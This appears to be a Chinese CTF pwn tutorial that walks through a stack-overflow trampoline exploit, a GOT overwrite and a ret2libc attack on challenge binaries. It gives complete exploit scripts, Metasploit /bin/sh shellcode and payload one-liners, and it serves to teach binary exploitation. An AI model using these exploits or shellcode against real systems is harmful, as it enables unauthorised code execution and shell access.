天天看點

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

0x01 前言

1.1 目的

1.1.1 寫這篇文章一是總結一下前段時間所學的東西,二是給pwn還沒入門的同學一些幫助,畢竟自己學的時候還是遇到不少困難

以下都是我的實際操作,寫的比較詳細,包含了我自己的一些經驗,歡迎大家指點.

1.1.2 内容包含利用跳闆劫持流程,GOT覆寫 ,ret2libc等技術

1.2 預備

1.2.1工具

1.2.1.1 ida

反彙編神器,下載下傳位址down.52pojie.cn

1.2.1.2 gdb

動态調試工具,ubuntu自帶,但是自帶高版本無法裝peda插件.google 搜尋downgrade gdb,重新安裝低版本gdb即可

1.2.1.3 pwntools和zio

兩者均是用python開發的exp編寫工具,同時友善了遠端exp和本地exp的轉換 sudo pip install pwntool / sudo pip

install zio即可安裝

1.2.1.4 peda

gdb的一個插件,github上可以下載下傳,增加了很多友善的功能

1.2.2 預備知識

1.2.2.1 強烈的興趣

1.2.2.2 知道簡單的c代碼怎樣和彙編對應

0x02 常見漏洞利用技術

2.1 利用跳闆覆寫傳回位址

2.1.1 使用範圍

當系統打開ASLR(基本都打開了)時,使用寫死位址的話,就無法成功利用漏洞.在這種情況下就可以使用這種技術.程式必須關閉NX

2.1.2 原理

當函數執行完,彈出了傳回位址,rsp往往指向(傳回位址+8),我們将shellcode放在此處就可以讓程式執行,注意跳闆不一定是rsp

2.1.3 實踐

在這兒用的程式是來自重慶郵電大學舉辦的cctf2015中pwn的第一題,感謝tracy_子鵬學長(程式見附件),運作環境64位linux

1 拿到程式第一件事就是先運作一下,熟悉要分析的東西(這一點不光是pwn,不管是re還是滲透,先對于目标有個直覺了解都是很重要的事)

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

程式很簡單,就是一個簡單的接受輸入

2 打開ida,,可以看到程式非常的簡單

int __cdecl main(int argc, const char **argv, const char **envp)

{

__int64 v3; // [email protected]

char v5; // [sp+0h] [bp-1020h]@1

char v6; // [sp+1000h] [bp-20h]@1

int v7; // [sp+101Ch] [bp-4h]@1

setbuf(stdin, 0LL, envp);

setbuf(stdout, 0LL, v3);

puts(0x4938E4LL);

v7 = read(0LL, &v5, 4096LL);

return memcpy(&v6, &v5, v7);

}

入的資料最終會複制到[bp-20h],而且沒有長度限制,肯定就是有棧溢出漏洞

3 接下來我們檢查一下程式打開了哪些保護措施

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

gdb pwn1

checksec

可以看到程式沒有沒有打開任何保護措施,現在唯一需要解決的就是系統自帶的ASLR,(注意,使用gdb調試時,每次看到的棧位址可能是不變的,這并不代表系統沒有打開ASLR,gdb調試時會自動關閉ASLR)

4 接下來是定位傳回位址

前面看到了我們輸入的資料最終會複制到[bp-20h],我們先嘗試輸入40個資料,用python生成40個資料

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

gdb pwn1

r //運作程式

複制生成的輸入進去

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

看到棧上沒有成功覆寫發揮位址

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

再次使用八十位元組

可以看出從第四十個位元組開始的八個位元組就會覆寫傳回位址

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

5 寫exp

首先我們需要一個shellcode,這可以通過msf生成 生成指令如下

show payload

use linux/x64/exec

set cmd /bin/sh

generate -t py -b "/x00"

即可得到shellcode

# linux/x64/exec - 87 bytes

# http://www.metasploit.com

# Encoder: x64/xor

# VERBOSE=false, PrependFork=false, PrependSetresuid=false,

# PrependSetreuid=false, PrependSetuid=false,

# PrependSetresgid=false, PrependSetregid=false,

# PrependSetgid=false, PrependChrootBreak=false,

# AppendExit=false, CMD=/bin/sh

buf = ""

buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"

buf += "\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd"

buf += "\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"

buf += "\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d"

buf += "\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53"

buf += "\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95"

buf += "\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44"

然後我們還需要一個跳闆作為傳回位址 peda就有這種功能

jmpcall rsp

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

我們就采用第一個位址, 注意64位系統,和little endian

然後我們使用zio寫exp

from zio import *

io = zio('./pwn1')

# io = zio(('127.0.0.1', 1234))

io.read_until('overflow!')

pad = 'a' * 40

# 0x 43 68 7d : call rsp

jmpAddr = '\x7d\x68\x43\x00\x00\x00\x00\x00'

shellcode = ""

shellcode += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"

shellcode += "\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd"

shellcode += "\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"

shellcode += "\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d"

shellcode += "\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53"

shellcode += "\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95"

shellcode += "\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44"

io.write(pad + jmpAddr + shellcode)

io.interact()

python pwn1.py運作即可看到

已拿到shell

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

2.2 GOT覆寫

2.2.1 使用範圍

剛才我們是通過棧溢出漏洞攻擊函數的傳回位址,但是現在對于棧溢出,已經有很多保護,例如canary(與windows下的GS技術類似).同時現在更常見的是指針覆寫漏洞,在這種情況下我們擁有一次修改任意記憶體的機會,在這時我們采用的往往就是GOT覆寫技術.

2.2.2 原理

GOT是全局偏移表,類似于windows中PE結構的IAT,隻不過windows中IAT中的函數位址是寫保護的,沒辦法利用,但是GOT是可寫的,我們可以将其中的函數位址覆寫為我們的shellcode位址,在程式後面調用這個函數時就會調用我們的shellcode了

2.2.3 實踐

在這兒我用的實驗程式來自panable.kr中的passcode,比較簡單,源碼如下

#include

#include

void login(){

int passcode1;

int passcode2;

printf("enter passcode1 : ");

scanf("%d", passcode1);

fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

scanf("%d", passcode2);

printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

printf("Login OK!\n");

system("/bin/cat flag");

}

else{

printf("Login Failed!\n");

exit(0);

}

}

void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}

int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();

login();

// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}

編譯後的程式見附件,32位 linux

感覺銳銳_z的指點

1

分析程式可知,scanf時,沒有用取位址符,會使用棧上的資料作為指針存放輸入的資料,而我們第一次輸入的資料就是在棧上,簡單調試可知,在welcome()函數中的name的最後4位元組會在login()函數中被用作位址指針

2 這樣,我們就獲得了修改任意位址資料的一次機會

3

分析程式可知如果我們用後面調用system()的位址覆寫了printf()在GOT中的指針,那麼在第二次login()中第二次調用printf()時就會直接去調用system()

4 現在我們需要知道兩個東西,一是GOT中printf()的位址,二是程式中調用system()的位址

objdump -R passcode

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

即可獲得printf()在的位址0804a000這是攻擊目标,

然後打開gdb,運作到調用system()的地方,為什麼我們可以直接使用這個位址呢,因為linux下面的程式預設沒有随機化code段,

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

要寫入的值即為 0x080485e3

5 最後得到

python -c "print('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" |

./passcode

134514147即為0x080485e3

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

成功改變了程式流程,讀出flag檔案的内容,注意這裡需要你建立一個名叫flag的檔案

2.3 ret2libc技術

2.3.1 使用範圍

當系統打開DEP時,我們不能自己直接在棧上放shellcode,就使用幾乎每個linux系統都會自帶的libc中的代碼.

2.3.2 原理

一種常見的利用方式是用libc中的system()的位址覆寫傳回位址,同時在棧上布置好的參數,程式傳回時就會産生一個shell

2.3.3 實踐

在這兒用的程式是強網杯的urldecoder(程式見附件),再次感謝tracy_子鵬學長指點

這道題同時開了ASLR和DEP.,運作環境為32位linux

分析程式後發現,前面讀入資料時,隻有遇到換行和EOF才會結束,但是後面檢查字元串長度是用的strlen,于是可以通過在字元串中加入\x00來繞過長度檢查

繼續分析程式流程,發現,當輸入為%1\x00時就可以成功覆寫傳回位址

接下來就考慮利用漏洞的方法

觀察到溢出後,程式會多輸出一些棧上的資料出來,想到可以利用輸出出來的一些資料定位libc加載的基址,然後将傳回位址覆寫為前面讀入資料的代碼位址,再讀一次資料,再溢出一次,這一次執行到傳回時,就執行libc中的system函數

題目提供了libc,可以計算其中各函數的偏移,找到libc中system函數和/bin/sh字元串的位址,同時在棧上布置好參數,即可成功利用

下面附上exp及解釋

from pwn import *

from zio import *

context(arch = 'i386', os = 'linux')

#注意此處ELF()的用處是後面計算偏移,你運作程式時還是用的目前系統的libc

#libc = ELF('./libc.so.6.i386')

libc = ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')

#p = remote('119.254.101.197', 10001)

p = process('./urldecoder')

#第一次輸入,擷取libc中的位址資訊

ret_addr = '\x90\x85\x04\x08'

payload = "http://baidu.com//%1" + "\x00" + "a"*137 + ret_addr

p.recvuntil("URL:")

p.send(payload + '\n')

data = p.recvuntil("URL:")

base_addr = data[196:200]

printf_addr = l32(base_addr) - 0x117474

offset = libc.symbols['printf'] - libc.symbols['system']

system_addr = printf_addr - offset

binsh_offset = next(libc.search('/bin/sh')) - libc.symbols['printf']

binsh_addr = binsh_offset + printf_addr

#第二次輸入

ret_addr = '\x12\x12\x12\x12'

payload = "http://baidu.com//%1" + "\x00" + "a"*137 + l32(system_addr) + ret_addr + l32(binsh_addr)

p.send(payload + '\n')

p.interactive()

run

python url.py

#注意此處ELF()的用處是後面計算偏移,你運作程式時還是用的目前系統的libc

"成功利用

linux環境下常見漏洞利用技術,linux常見漏洞利用技術實踐

從中也可以看到,對于同時開了ASLR和DEP的程式,利用的難度确實高了不少